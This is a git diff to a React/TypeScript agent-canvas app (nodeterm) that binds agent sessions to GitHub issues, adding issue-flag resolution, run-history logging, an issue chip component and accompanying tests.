nodeId, column.id, null))+ markDirty()+ }+ const title =+ (node.data.title as string | undefined) ||+ agentConfig(agentId)?.label ||+ useSettings.getState().settings.customAgents.find((a) => a.id === agentId)?.label ||+ agentId+ // The session card's own feed says where it came from, exactly like a "+ New" card…+ useBoardLog.getState().append(api, targetProjectId, {+ kind: 'event',+ nodeId,+ event: { type: 'card-created', to: column?.title ?? 'Ungrouped', title }+ })+ // …and the issue card's history records the run (with the session id nodeterm minted, when+ // the agent's CLI takes one — otherwise none, never a guess).+ const started = runStartedEntry(ref, {+ id: nodeId,+ title,+ agentId,+ agentSessionId: node.data.agentSessionId as string | undefined+ })+ if (started) useBoardLog.getState().append(api, targetProjectId, started)+ },+ [addAgentNode, seedBoard, markDirty, api]+ )++ /** The "Start with agent ▸" rows for one issue card: the canvas's own agent + account picker+ * (`agentCreationEntries`), relabelled and pointed at `startIssueAgent`. */+ const issueAgentMenu = useCallback(+ (issue: GitHubIssueCardView): MenuItem[] =>+ agentCreationEntries(undefined, undefined, {+ onPick: (aid, acct) => startIssueAgent(issue, aid, acct),+ label: (agentLabel) => agentLabel+ }).map((entry) => entry.item),+ [agentCreationEntries, startIssueAgent]+ )+// Global kanban swimlane "New session" path — creates a node in the target project's// swimlane even when that project is not the active canvas. The per-column create// menu in GlobalKanbanView dispatches this, and we switch to the target project@@ -10022,6 +10150,37 @@ export function Canvas() {const dryRun = dryRunRequested(args)const DRY_RUN_PREFIX = 'DRY RUN — nothing was opened or changed.'+ // `--issue` (open-agent / open-claude): the GitHub issue the new session is started on. Its+ // SHAPE was refused in main (`issueFlagRefusal`); what `#N` means is this renderer's question,+ // answered against the project the new node OPENS IN — the repository its kanban board syncs+ // with (configured, else detected from its git remote: the answer the issue lane itself uses,+ // asked of the core that owns the project). No board repository = `#N` is refused and told+ // the full form; nothing is guessed. The issue's own text is never fetched here: the launch+ // prompt carries only the reference (`issueLaunchPrompt`).+ const resolveIssueFlag = (projectId: string | undefined): Promise<IssueFlagResult> =>+ resolveIssueFlagFor(+ args.issue,+ verb,+ projectId ? useProjects.getState().getProject(projectId) : undefined,+ (id) => api.githubControl.status(id).then((view) => view.project?.repository ?? null)+ )+ /** The node, bound to the issue (display + run history only — its launch line is already built). */+ const bindIssue = (node: CanvasNode, ref: IssueRef | undefined): CanvasNode =>+ ref ? { ...node, data: { ...node.data, issueRef: ref } } : node+ /** `run-started` on the issue card's history for each node just opened on it. */+ const logRunsStarted = (projectId: string | undefined, nodes: readonly CanvasNode[], ref: IssueRef | undefined) => {+ if (!ref || !projectId) return+ for (const n of nodes) {+ const entry = runStartedEntry(ref, {+ id: n.id,+ title: n.data.title as string | undefined,+ agentId: n.data.agentId as string | undefined,+ agentSessionId: n.data.agentSessionId as string | undefined+ })+ if (entry) useBoardLog.getState().append(api, projectId, entry)+ }+ }+// ── Agent messaging (`send`/`reply`) — handled BEFORE the source-routing machinery ──────// These are STORE_ANSWERED_VERBS (lib/controlRouting): routing by source must never travel// to the sender's project (G5 — an off-canvas orchestrator would otherwise yank the human's@@ -10370,6 +10529,13 @@ export function Canvas() {}const tgAgentId = (verb === 'open-agent' ? args.agent : 'claude') as AgentIdconst tgIsTerminal = verb === 'open-terminal'+ // `#N` means the TARGET project's repository here — the node opens there.+ const tgIssue = await resolveIssueFlag(target.id)+ if (!tgIssue.ok) {+ reply({ ok: false, error: tgIssue.error })+ return+ }+ const tgPrompt = tgIssue.ref ? issueLaunchPrompt(tgIssue.ref, args.prompt) : args.promptconst tgCount = Math.max(1,Math.min(tgIsTerminal ? 8 : 5, parseInt(args.count || '1', 10) || 1)@@ -10394,18 +10560,21 @@ export function Canvas() {for (let i = 0; i < tgCount; i++) {const node = tgIsTerminal? createTerminalNode(tgIndexBase + i, tgCwd, { x: 0, y: 0 }, args.cmd)- : createAgentNode(- tgAgentId,- tgIndexBase + i,- tgCwd,- { x: 0, y: 0 },- args.prompt,- undefined,- tgAccount,- tgMode,- // The TARGET project: its `.nodeterm/settings.json` launch override applies to- // what runs in it, not the caller's.- target.id+ : bindIssue(+ createAgentNode(+ tgAgentId,+ tgIndexBase + i,+ tgCwd,+ { x: 0, y: 0 },+ tgPrompt,+ undefined,+ tgAccount,+ tgMode,+ // The TARGET project: its `.nodeterm/settings.json` launch override applies to+ // what runs in it, not the caller's.+ target.id+ ),+ tgIssue.ref)const w = (node.width as number) ?? 640const h = (node.height as number) ?? 440@@ -10415,6 +10584,7 @@ export function Canvas() {}const tgIds = tgMade.map((n) => n.id)const tgWhat = tgIsTerminal ? 'terminal' : tgAgentId+ logRunsStarted(target.id, tgMade, tgIssue.ref)// No ropes and no context-links in either branch: both are per-project arrays, and an// edge to a node in another project has no representation (v1 — #284's linking half).// The skill text names the workaround (open a reader agent inside the target project).@@ -10671,6 +10841,14 @@ export function Canvas() {return}}+ // `#N` = the OWNING project's repository: the node is saved there.+ const coldIssue = await resolveIssueFlag(coldTerminal ? undefined : owner.id)+ if (!coldIssue.ok) {+ reply({ ok: false, error: coldIssue.error })+ return+ }+ const coldIssueRef = coldTerminal ? undefined : coldIssue.ref+ const coldPrompt = coldIssueRef ? issueLaunchPrompt(coldIssueRef, args.prompt) : args.promptif (dryRun) {if (!coldTerminal) {const dryKnownAgent =@@ -10692,6 +10870,7 @@ export function Canvas() {` in "${owner.name}"` +(coldGroup.groupId ? ` in group ${coldGroup.groupId}` : '') +(coldCwd ? `, cwd ${coldCwd}` : ''),+ ...(coldIssueRef ? [`bound to GitHub issue ${formatIssueRef(coldIssueRef)}`] : []),...(coldAfterIds.length ? [`armed to wait for: ${coldAfterIds.join(', ')}`] : []),'That project is not on screen, so the session(s) would be queued and start when it is next viewed.'].join('\n'),@@ -10701,7 +10880,8 @@ export function Canvas() {group: coldGroup.groupId ?? null,cwd: coldCwd ?? null,after: coldAfterIds,- projectId: owner.id+ projectId: owner.id,+ ...(coldIssueRef ? { issue: formatIssueRef(coldIssueRef) } : {})}})return@@ -10730,18 +10910,21 @@ export function Canvas() {args.cmd,coldSsh)- : createAgentNode(- coldAgentId,- coldNodes.length + i,- coldCwd,- coldPlaceBelow(coldNodes, coldSrcNode, i),- args.prompt,- coldSsh,- coldAccount,- coldMode,- owner.id,- args.model,- coldPromptFile+ : bindIssue(+ createAgentNode(+ coldAgentId,+ coldNodes.length + i,+ coldCwd,+ coldPlaceBelow(coldNodes, coldSrcNode, i),+ coldPrompt,+ coldSsh,+ coldAccount,+ coldMode,+ owner.id,+ args.model,+ coldPromptFile+ ),+ coldIssueRef)// Arm it: the project is not mounted, so nothing would deliver an `initialCommand`// and serialization drops it. `--after` rides the same held launch — an empty `after`@@ -10829,6 +11012,7 @@ export function Canvas() {const coldBridges = [...coldPlan.edges, ...coldDepPlans.flatMap((p) => p.edges)]coldStore.appendCanvasLinks(owner.id, { bridges: coldBridges, ropes: coldRopes })void writeDisk()+ logRunsStarted(owner.id, coldMade, coldIssueRef)const coldWhat = coldTerminal ? 'terminal' : coldAgentIdconst coldDepLinked = coldDepPlans.flatMap((p) => p.linked)reply({@@ -10843,7 +11027,8 @@ export function Canvas() {(coldAfterIds.length? `\nwaiting for ${coldAfterIds.join(', ')} before running` +(coldDepLinked.length ? ' (and linked to read them)' : '')- : ''),+ : '') ++ (coldIssueRef ? `\nbound to GitHub issue ${formatIssueRef(coldIssueRef)}` : ''),// Every node on this branch has no process behind it until that project is viewed,// whether or not it holds a command — the same rule the `--project` branch states.result: {@@ -10852,6 +11037,7 @@ export function Canvas() {projectId: owner.id,linked: coldPlan.linked,after: coldAfterIds,+ ...(coldIssueRef ? { issue: formatIssueRef(coldIssueRef) } : {}),queued: true,queuedIds: coldIds}@@ -11209,7 +11395,8 @@ export function Canvas() {const st = useAgentStatus.getState().byIdconst list = storedNodeListing(nodesRef.current.map((n) => ({id: n.id, kind: n.type, title: n.data.title as string,- pendingLaunch: n.data.pendingLaunch, agentId: n.data.agentId as string | undefined+ pendingLaunch: n.data.pendingLaunch, agentId: n.data.agentId as string | undefined,+ issueRef: n.data.issueRef})), st, useLaunchDelivery.getState().byId)reply({ ok: true, result: list, message: controlListingText(list) })return@@ -11328,6 +11515,13 @@ export function Canvas() {}}const agentCwd = args.cwd || groupCwd || srcCwd+ // `#N` = the repository of the project this call acts on (the node opens there).+ const issueFlag = await resolveIssueFlag(ctlProject?.id)+ if (!issueFlag.ok) {+ reply({ ok: false, error: issueFlag.error })+ return+ }+ const issueRef = issueFlag.refif (dryRun) {// The dry run is deliberately STRICTER than the real open here: an unknown agent id// today opens a node whose launch command is the typo, failing only inside its pane@@ -11355,6 +11549,7 @@ export function Canvas() {: args.prompt? `, prompt: "${args.prompt.slice(0, 80)}${args.prompt.length > 80 ? '…' : ''}"`: ''),+ ...(issueRef ? [`bound to GitHub issue ${formatIssueRef(issueRef)}`] : []),...(after?.length ? [`armed to wait for: ${after.join(', ')}`] : []),'Each session would be connected + context-linked to you.'].join('\n'),@@ -11364,7 +11559,8 @@ export function Canvas() {count,group: intoGroupId ?? null,cwd: agentCwd ?? null,- after: after ?? []+ after: after ?? [],+ ...(issueRef ? { issue: formatIssueRef(issueRef) } : {})}})return@@ -11375,7 +11571,13 @@ export function Canvas() {// A `--prompt` over the typed-line budget is spilled to a file and delivered through// the same `"$(cat …)"` substitution `--prompt-file` uses (#706). An explicit// `--prompt-file` already took that route and is passed through untouched.- const promptLaunch = await spillLongPrompt(promptFile ? undefined : args.prompt)+ // An issue-bound session's prompt is the REFERENCE line (`issueLaunchPrompt`), with the+ // caller's own `--prompt` after it. `--prompt-file` is left untouched: the file is the+ // whole brief (the skill tells the caller to name the issue in it).+ const promptLaunch = await spillLongPrompt(+ promptFile ? undefined : issueRef ? issueLaunchPrompt(issueRef, args.prompt) : args.prompt+ )+ const issueNodes: CanvasNode[] = []const make = (i: number): CanvasNode => {const node = armAfter(createAgentNode(@@ -11399,12 +11601,15 @@ export function Canvas() {after ?? [],intoGroupId)- return openBatch.add(node)+ const bound = bindIssue(node, issueRef)+ if (issueRef) issueNodes.push(bound)+ return openBatch.add(bound)}const ids = intoGroupId? addGrouped(intoGroupId, count, make): Array.from({ length: count }, (_, i) => addAndConnect(make(i)))ropeDeps(ids, after)+ logRunsStarted(ctlProject?.id, issueNodes, issueRef)const openResult = openBatch.result(after ?? [])const { queuedIds } = openResult// Context-link the new session(s) back to the opener (same rationale as spawn-team:@@ -11431,13 +11636,15 @@ export function Canvas() {`opened ${count} ${agentId} session(s): ${ids.join(', ')}` +(queuedIds.length ? '\nqueued; awaiting launch delivery' : '') +(bridged.length ? `\ncontext-linked to you: ${bridged.join(', ')}` : '') ++ (issueRef ? `\nbound to GitHub issue ${formatIssueRef(issueRef)}` : '') +(after?.length? `\nwaiting for ${after.join(', ')} before running` +(depLinked.length ? ` (and linked to read them)` : ''): ''),result: {...openResult,- linked: bridged+ linked: bridged,+ ...(issueRef ? { issue: formatIssueRef(issueRef) } : {})}})return@@ -12723,6 +12930,8 @@ export function Canvas() {}disposeTerminalOnUnmount(sessionForProject(projectId).id, id) // may be parked from a project switchtransport.destroy(id)+ const stored = nodes.find((n) => n.id === id)+ if (stored?.issueRef) logIssueRunEnded(projectId, stored)useAgentStatus.getState().remove(id)// Unmount no longer clears the fan-out (issue #402), so a permanent removal must — the// node unmounted at the project switch with its cards kept in the store.@@ -12736,7 +12945,7 @@ export function Canvas() {}void writeDisk()},- [writeDisk]+ [writeDisk, logIssueRunEnded])// Close (end) a session. tmux sessions are keyed by node id, so destroy works for an@@ -13021,6 +13230,8 @@ export function Canvas() {setConfirm({message: `Delete ${label}? Its terminal session will end.`,onConfirm: async () => {+ const doomed = proj?.nodes.find((n) => n.id === nodeId)+ if (doomed?.issueRef) logIssueRunEnded(projectId, doomed)useProjects.setState((s) => ({projects: s.projects.map((p) =>p.id === projectId ? { ...p, nodes: p.nodes.filter((n) => n.id !== nodeId) } : p@@ -13071,7 +13282,7 @@ export function Canvas() {window.removeEventListener('nodeterm:global-delete' as never, onGlobalDelete as never)window.removeEventListener('nodeterm:global-set-icon' as never, onGlobalSetIcon as never)}- }, [renameSession, setNodes, markDirty, writeDisk, deleteNodeFromKanban])+ }, [renameSession, setNodes, markDirty, writeDisk, deleteNodeFromKanban, logIssueRunEnded])// Sidebar "Name with AI": generate a title from the session's captured terminal output// (same BYO-agent path as the terminal node's ✦), then apply it via renameSession.@@ -14864,6 +15075,7 @@ export function Canvas() {onBrowserNav={browserNavFromKanban}onSetIcon={setNodeIcon}accountMenuItems={accountSwitchRows}+ issueAgentMenu={issueAgentMenu}/>)}<UpdateCard />diff --git a/src/renderer/canvas/canvas-wiring.test.tsx b/src/renderer/canvas/canvas-wiring.test.tsxindex a8c80face..c900ad442 100644--- a/src/renderer/canvas/canvas-wiring.test.tsx+++ b/src/renderer/canvas/canvas-wiring.test.tsx@@ -397,8 +397,10 @@ describe('node creation resolves its project LIVE and only onto a matching canvait('reads the active project from the store at call time in every creation funnel', () => {const liveReads =CANVAS_SRC.match(/const targetProjectId = useProjects\.getState\(\)\.activeProjectId/g) ?? []- // addAgentNode, addTerminal, createNodeInColumn, explainCommit.- expect(liveReads.length).toBe(4)+ // addAgentNode, addTerminal, createNodeInColumn, explainCommit — plus startIssueAgent (GitHub+ // issue → agent), which creates THROUGH addAgentNode (and so its guard) and re-reads the live+ // project only afterwards, to file the new card on that same project's board.+ expect(liveReads.length).toBe(5)})it('guards every creation funnel with canCreateOnCanvas against the canvas epoch tag', () => {@@ -427,7 +429,8 @@ describe('node creation resolves its project LIVE and only onto a matching canva// with the whole suite green.const liveRecordReads =CANVAS_SRC.match(/const project = useProjects\.getState\(\)\.getProject\(targetProjectId\)/g) ?? []- expect(liveRecordReads.length).toBe(4)+ // The four guarded funnels + startIssueAgent's post-create board read (see above).+ expect(liveRecordReads.length).toBe(5)})})diff --git a/src/renderer/canvas/issue-binding.source.test.ts b/src/renderer/canvas/issue-binding.source.test.tsnew file mode 100644index 000000000..d70242ee9--- /dev/null+++ b/src/renderer/canvas/issue-binding.source.test.ts@@ -0,0 +1,116 @@+import { describe, it, expect } from 'vitest'+import { readFileSync } from 'node:fs'++/**+ * STRUCTURAL pins for the GitHub-issue binding inside Canvas.tsx — the `--issue` handling in the+ * three agent-open paths of the control dispatch, and the run-history writes in the node-removal+ * funnels. Same reason as `control-off-canvas.source.test.ts`: these live inside a 15,000-line+ * component's IPC listener with no unit seam. Every BEHAVIOURAL half is proven against real code+ * elsewhere: the grammar and the prompt in `shared/github-issue-ref.test.ts`, the flag resolution in+ * `lib/issueFlag.test.ts`, the run entries in `lib/issueRuns.test.ts`, the Server Edition end to end+ * in `server/headless-node-factory.issue.test.ts`.+ */+const src = readFileSync(new URL('./Canvas.tsx', import.meta.url), 'utf8').replace(/\r\n/g, '\n')+const mainSrc = readFileSync(new URL('../../main/index.ts', import.meta.url), 'utf8').replace(/\r\n/g, '\n')++function code(body: string): string {+ return body+ .split('\n')+ .filter((l) => !l.trim().startsWith('//'))+ .join('\n')+}++function between(start: string, end: string, from = 0): string {+ const a = src.indexOf(start, from)+ expect(a, start).toBeGreaterThan(-1)+ const b = src.indexOf(end, a + start.length)+ expect(b, end).toBeGreaterThan(a)+ return src.slice(a, b)+}++describe('--issue in the desktop control dispatch', () => {+ it('main refuses a malformed --issue before the renderer ever sees it', () => {+ const handler = mainSrc.slice(mainSrc.indexOf('hookServer.setControlHandler('))+ const gate = handler.indexOf('issueFlagRefusal(verb, args)')+ expect(gate).toBeGreaterThan(-1)+ // …and it runs before the forward to the renderer.+ expect(gate).toBeLessThan(handler.indexOf("'window unavailable'"))+ })++ it('the live open path resolves the issue BEFORE its dry-run branch and before building nodes', () => {+ const body = code(between("case 'open-agent': {", "case 'show-image': {"))+ const resolve = body.indexOf('await resolveIssueFlag(ctlProject?.id)')+ expect(resolve).toBeGreaterThan(-1)+ // A dry run runs the SAME validation as a real call (#532): a bad `#N` must be refused there too.+ expect(resolve).toBeLessThan(body.indexOf('if (dryRun) {'))+ expect(body).toContain('bound to GitHub issue ${formatIssueRef(issueRef)}')+ // The launch prompt is composed by the one function allowed to turn a reference into text.+ expect(body).toMatch(/issueRef \? issueLaunchPrompt\(issueRef, args\.prompt\) : args\.prompt/)+ expect(body).toContain('bindIssue(node, issueRef)')+ expect(body).toContain('logRunsStarted(ctlProject?.id, issueNodes, issueRef)')+ })++ it('the cold-open path resolves against the OWNING project, before its dry run', () => {+ const body = code(between('if (canColdOpen(verb)) {', '// ── OFF CANVAS'))+ const resolve = body.indexOf('await resolveIssueFlag(coldTerminal ? undefined : owner.id)')+ expect(resolve).toBeGreaterThan(-1)+ expect(resolve).toBeLessThan(body.indexOf('if (dryRun) {'))+ expect(body).toContain('bound to GitHub issue ${formatIssueRef(coldIssueRef)}')+ expect(body).toMatch(/coldIssueRef \? issueLaunchPrompt\(coldIssueRef, args\.prompt\) : args\.prompt/)+ expect(body).toContain('logRunsStarted(owner.id, coldMade, coldIssueRef)')+ })++ it('the --project path resolves against the TARGET project', () => {+ const body = code(between("args.project !== undefined\n ) {", '// ── end of the early-handled'))+ expect(body).toContain('await resolveIssueFlag(target.id)')+ expect(body).toMatch(/tgIssue\.ref \? issueLaunchPrompt\(tgIssue\.ref, args\.prompt\) : args\.prompt/)+ expect(body).toContain('logRunsStarted(target.id, tgMade, tgIssue.ref)')+ })++ it('no path splices the raw --issue value into a prompt or a launch line', () => {+ expect(code(src)).not.toMatch(/args\.issue[^\n]*(prompt|initialCommand|createAgentNode)/)+ // The only reader of the raw flag is the resolver.+ const reads = code(src).match(/args\.issue\b/g) ?? []+ expect(reads).toHaveLength(1)+ })+})++describe('run history in the node-removal funnels', () => {+ it('deleteNodes files run-ended BEFORE it drops the node agent status', () => {+ const body = code(between('const deleteNodes = useCallback(', 'const deleteSelectionCommand'))+ const log = body.indexOf('logIssueRunEnded(')+ expect(log).toBeGreaterThan(-1)+ expect(log).toBeLessThan(body.indexOf('useAgentStatus.getState().remove(n.id)'))+ })++ it('the cross-project close files run-ended BEFORE it drops the node agent status', () => {+ const body = code(between('const closeStoredNodes = useCallback(', '// Close (end) a session.'))+ const log = body.indexOf('logIssueRunEnded(projectId, stored)')+ expect(log).toBeGreaterThan(-1)+ expect(log).toBeLessThan(body.indexOf('useAgentStatus.getState().remove(id)'))+ })++ it('the Omni board delete files run-ended too', () => {+ const body = code(between('const onGlobalDelete = ', 'const onGlobalSetIcon = '))+ const log = body.indexOf('logIssueRunEnded(projectId, doomed)')+ expect(log).toBeGreaterThan(-1)+ expect(log).toBeLessThan(body.indexOf('useAgentStatus.getState().remove(nodeId)'))+ })+})++describe('Start with agent (issue card)', () => {+ it('launches with the reference prompt and binds the node — never the issue title or body', () => {+ const body = code(between('const startIssueAgent = useCallback(', 'const issueAgentMenu = useCallback('))+ expect(body).toContain('issueRefFromHtmlUrl(issue.htmlUrl, issue.number)')+ expect(body).toContain('issueLaunchPrompt(ref)')+ expect(body).toContain('{ issueRef: ref }')+ // The attacker-writable fields of the issue never reach this function's launch.+ expect(body).not.toMatch(/issue\.title|issue\.body/)+ })++ it('the menu reuses the canvas agent + account picker instead of a fourth copy', () => {+ const body = code(between('const issueAgentMenu = useCallback(', '// Global kanban swimlane'))+ expect(body).toContain('agentCreationEntries(undefined, undefined, {')+ expect(body).toContain('startIssueAgent(issue, aid, acct)')+ })+})diff --git a/src/renderer/canvas/toKanbanSession.ts b/src/renderer/canvas/toKanbanSession.tsindex a680a782d..ffa9f21cd 100644--- a/src/renderer/canvas/toKanbanSession.ts+++ b/src/renderer/canvas/toKanbanSession.ts@@ -1,5 +1,6 @@import type { SshConnection } from '@shared/ssh'import type { NodeIcon } from '@shared/node-icon'+import { normalizeIssueRef } from '@shared/github-issue-ref'import { SYSTEM_NODE_COLORS, type CanvasNode } from '../state/workspace'import type { KanbanSession } from '../components/kanban/KanbanView'@@ -46,6 +47,9 @@ export function toKanbanSession(n: CanvasNode): KanbanSession | null {kind: 'terminal',agentId: n.data.agentId as string | undefined,icon: n.data.icon as NodeIcon | undefined,+ // Re-validated, like everything read off node data for display: the issue card groups sessions+ // by this, and a malformed value must bind to nothing rather than to a wrong card.+ issueRef: normalizeIssueRef(n.data.issueRef),// What the card modal's co-attach terminal needs to join THIS node's session the same way the// canvas TerminalNode does.spawn: {diff --git a/src/renderer/components/IssueRefChip.tsx b/src/renderer/components/IssueRefChip.tsxnew file mode 100644index 000000000..c0a3b64f1--- /dev/null+++ b/src/renderer/components/IssueRefChip.tsx@@ -0,0 +1,35 @@+import { formatIssueRef, normalizeIssueRef, type IssueRef } from '@shared/github-issue-ref'++/**+ * `#N` — the GitHub issue a session was started on. Drawn by the canvas node header AND the+ * session's board card (the board and the canvas are two views of the same node), and it does the+ * same thing on both: opens the issue. The value comes from node data that was read out of a+ * git-shared file, so it is re-validated here; an invalid binding draws nothing.+ */+export function IssueRefChip({+ issueRef,+ onOpen+}: {+ issueRef: unknown+ onOpen: (ref: IssueRef) => void+}): React.JSX.Element | null {+ const ref = normalizeIssueRef(issueRef)+ if (!ref) return null+ const label = formatIssueRef(ref)+ return (+ <button+ type="button"+ className="issue-ref-chip nodrag"+ title={`Started on GitHub issue ${label} — open it`}+ aria-label={`Open GitHub issue ${label}`}+ onClick={(event) => {+ event.stopPropagation()+ onOpen(ref)+ }}+ onKeyDown={(event) => event.stopPropagation()}+ onDoubleClick={(event) => event.stopPropagation()}+ >+ #{ref.number}+ </button>+ )+}diff --git a/src/renderer/components/kanban/BoardLogPanel.tsx b/src/renderer/components/kanban/BoardLogPanel.tsxindex c178bd890..7134ab1b8 100644--- a/src/renderer/components/kanban/BoardLogPanel.tsx+++ b/src/renderer/components/kanban/BoardLogPanel.tsx@@ -9,8 +9,15 @@ import type { KanbanSession } from './KanbanView'interface BoardLogPanelProps {/** The card/node whose activity this panel shows — feed + composer are scoped to `card.id`.* Only the id is needed, so the canvas node flyout can use this panel without building a- * full KanbanSession. */+ * full KanbanSession. A GitHub issue card passes its synthetic board-log id (`issueLogId`). */card: Pick<KanbanSession, 'id'>+ /** Panel heading. Defaults to the session card's "Comments & activity". */+ title?: string+ /** Hide the comment composer — the issue card's run history is read-only, because a comment box+ * under a GitHub issue reads as "post to GitHub", and this log never leaves the project. */+ readOnly?: boolean+ /** Shown when the feed is empty (defaults to nothing). */+ emptyText?: string}/** The activity sentence WITHOUT the leading author name — the name is rendered separately in@@ -46,12 +53,25 @@ export function eventBody(e: BoardLogEvent): string {// A loud, human-visible line for a cookie read (the whole point of the trace). `from` names the// agent, `to` the domain it read; `title` names the browser node it drove.return `read cookies for ${e.to ?? 'a site'}${e.title ? ` via ${e.title}` : ''}`+ case 'run-started':+ // The run's fields come from a git-shared file like everything else here: rendered as text+ // only (React escapes it), and never turned into an action.+ return `started ${runName(e)} on this issue`+ case 'run-ended':+ return `closed ${runName(e)}${e.run?.end ? ` (last state: ${e.run.end})` : ''}`default:// A newer peer may write event types this build doesn't know — show them neutrally.return `updated this card`}}+/** "Claude session term-1a2b" — the node title when the event recorded one, else the node id. */+function runName(e: BoardLogEvent): string {+ const who = typeof e.title === 'string' && e.title ? e.title : 'a session'+ const id = typeof e.run?.nodeId === 'string' ? ` (${e.run.nodeId})` : ''+ return `${who}${id}`+}+/** Absolute, Trello-style stamp ("19 Jul 2026, 22:50") — the feed shows dates, not "2h ago"* (the relative form stays in the row's tooltip). */function formatStamp(ts: number): string {@@ -69,7 +89,7 @@ function formatStamp(ts: number): string {* comments + activity feed newest-first. Reads/writes the board log for the ACTIVE project via* its session api — resolved here (not threaded from Canvas). Subscribes on mount, so a teammate's* comment or a board change lands live; unsubscribes on unmount / card swap. */-export function BoardLogPanel({ card }: BoardLogPanelProps) {+export function BoardLogPanel({ card, title, readOnly, emptyText }: BoardLogPanelProps) {const { api } = useSession()const projectId = useProjects((s) => s.activeProjectId)const entries = useBoardLog((s) => s.entriesFor(projectId))@@ -96,10 +116,10 @@ export function BoardLogPanel({ card }: BoardLogPanelProps) {return (<div className="board-log">- <div className="board-log__title">Comments & activity</div>+ <div className="board-log__title">{title ?? 'Comments & activity'}</div>{unsupported ? (<div className="board-log__hint">Board history needs a project folder</div>- ) : (+ ) : readOnly ? null : (<textareaclassName="board-log__composer"value={draft}@@ -119,6 +139,9 @@ export function BoardLogPanel({ card }: BoardLogPanelProps) {<div className="board-log__error">Some board history couldn’t be saved.</div>)}<div className="board-log__feed">+ {!unsupported && feed.length === 0 && emptyText && (+ <div className="board-log__hint">{emptyText}</div>+ )}{feed.map((entry) => (<FeedRow key={entry.id} entry={entry} />))}diff --git a/src/renderer/components/kanban/GitHubIssueCard.test.tsx b/src/renderer/components/kanban/GitHubIssueCard.test.tsxindex f4d1bb4b5..9c65b33f8 100644--- a/src/renderer/components/kanban/GitHubIssueCard.test.tsx+++ b/src/renderer/components/kanban/GitHubIssueCard.test.tsx@@ -4,6 +4,7 @@ import { createRoot } from 'react-dom/client'import { describe, expect, it, vi } from 'vitest'import type { GitHubIssueCardView } from '@shared/github-issues'import { GitHubIssueCard } from './GitHubIssueCard'+import { useAgentStatus } from '../../state/agentStatus';(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true@@ -54,4 +55,63 @@ describe('GitHubIssueCard', () => {expect(open).toHaveBeenCalledWith(issue)act(() => root.unmount())})++ it('shows a live chip per bound session, and the chip follows that node\'s state', () => {+ useAgentStatus.setState({ byId: {} })+ const host = document.createElement('div')+ const root = createRoot(host)+ const openRun = vi.fn()+ const openIssue = vi.fn()+ act(() => root.render(+ <GitHubIssueCard issue={issue} columns={[]} moving={false} readOnly={false}+ onOpen={openIssue} onMove={vi.fn()} onDragStart={vi.fn()} onDragEnd={vi.fn()}+ runs={[{ id: 'term-1', title: 'Claude', agentId: 'claude' }]} onOpenRun={openRun} />+ ))+ const chip = (): HTMLElement => host.querySelector<HTMLElement>('.issue-run-chip')!+ expect(chip().textContent).toBe('Claude')+ expect(chip().dataset.state).toBe('idle')++ act(() => useAgentStatus.setState({ byId: { 'term-1': { state: 'working', unread: false } } }))+ expect(chip().textContent).toContain('RUNNING')++ act(() => useAgentStatus.setState({ byId: { 'term-1': { state: 'blocked', unread: false } } }))+ expect(chip().textContent).toContain('NEEDS YOU')++ // `done` ends a TURN: the chip goes quiet, it does not claim the issue is finished.+ act(() => useAgentStatus.setState({ byId: { 'term-1': { state: 'done', unread: true } } }))+ expect(chip().dataset.state).toBe('idle')+ expect(chip().querySelector('.kanban-card__unread')).not.toBeNull()++ act(() => chip().dispatchEvent(new MouseEvent('click', { bubbles: true })))+ expect(openRun).toHaveBeenCalledWith('term-1')+ // The chip's click is the chip's: it does not also open the issue summary behind it.+ expect(openIssue).not.toHaveBeenCalled()+ act(() => root.unmount())+ useAgentStatus.setState({ byId: {} })+ })++ it('draws no chip row for an issue nobody is working on', () => {+ const host = document.createElement('div')+ const root = createRoot(host)+ act(() => root.render(+ <GitHubIssueCard issue={issue} columns={[]} moving={false} readOnly={false}+ onOpen={vi.fn()} onMove={vi.fn()} onDragStart={vi.fn()} onDragEnd={vi.fn()} onOpenRun={vi.fn()} />+ ))+ expect(host.querySelector('.issue-run-chips')).toBeNull()+ act(() => root.unmount())+ })++ it('opens its context menu on right-click', () => {+ const host = document.createElement('div')+ const root = createRoot(host)+ const context = vi.fn()+ act(() => root.render(+ <GitHubIssueCard issue={issue} columns={[]} moving={false} readOnly={false}+ onOpen={vi.fn()} onMove={vi.fn()} onDragStart={vi.fn()} onDragEnd={vi.fn()} onContext={context} />+ ))+ const card = host.querySelector<HTMLElement>('[role="button"]')!+ act(() => card.dispatchEvent(new MouseEvent('contextmenu', { bubbles: true, clientX: 10, clientY: 20 })))+ expect(context).toHaveBeenCalledWith(issue, 10, 20)+ act(() => root.unmount())+ })})diff --git a/src/renderer/components/kanban/GitHubIssueCard.tsx b/src/renderer/components/kanban/GitHubIssueCard.tsxindex 01f031df4..45341508a 100644--- a/src/renderer/components/kanban/GitHubIssueCard.tsx+++ b/src/renderer/components/kanban/GitHubIssueCard.tsx@@ -2,6 +2,8 @@ import { memo, useState } from 'react'import type { GitHubIssueCardView } from '@shared/github-issues'import type { KanbanColumn } from '@shared/types'import { updatedRelative } from '../../lib/relativeTime'+import { NO_ISSUE_RUNS, type IssueRun } from '../../lib/issueRuns'+import { IssueRunChips } from './IssueRunChips'export const GitHubIssueCard = memo(function GitHubIssueCard({issue,@@ -12,7 +14,10 @@ export const GitHubIssueCard = memo(function GitHubIssueCard({onOpen,onMove,onDragStart,- onDragEnd+ onDragEnd,+ runs = NO_ISSUE_RUNS,+ onOpenRun,+ onContext}: {issue: GitHubIssueCardViewcolumns: KanbanColumn[]@@ -23,6 +28,12 @@ export const GitHubIssueCard = memo(function GitHubIssueCard({onMove: (issue: GitHubIssueCardView, columnId: string | null) => voidonDragStart: (issue: GitHubIssueCardView) => voidonDragEnd: () => void+ /** Agent sessions bound to this issue (started on it). Shown as live chips; empty = none. */+ runs?: readonly IssueRun[]+ /** Open a bound session's card (a chip click). */+ onOpenRun?: (nodeId: string) => void+ /** Right-click: the issue card's menu ("Start with agent ▸", Open on GitHub). */+ onContext?: (issue: GitHubIssueCardView, x: number, y: number) => void}): React.JSX.Element {const [dragging, setDragging] = useState(false)return (@@ -42,6 +53,11 @@ export const GitHubIssueCard = memo(function GitHubIssueCard({onDragEnd()}}onClick={() => onOpen(issue)}+ onContextMenu={onContext ? (event) => {+ event.preventDefault()+ event.stopPropagation()+ onContext(issue, event.clientX, event.clientY)+ } : undefined}onKeyDown={(event) => {if (event.key !== 'Enter' && event.key !== ' ') returnif ((event.target as HTMLElement).closest('select')) return@@ -69,6 +85,7 @@ export const GitHubIssueCard = memo(function 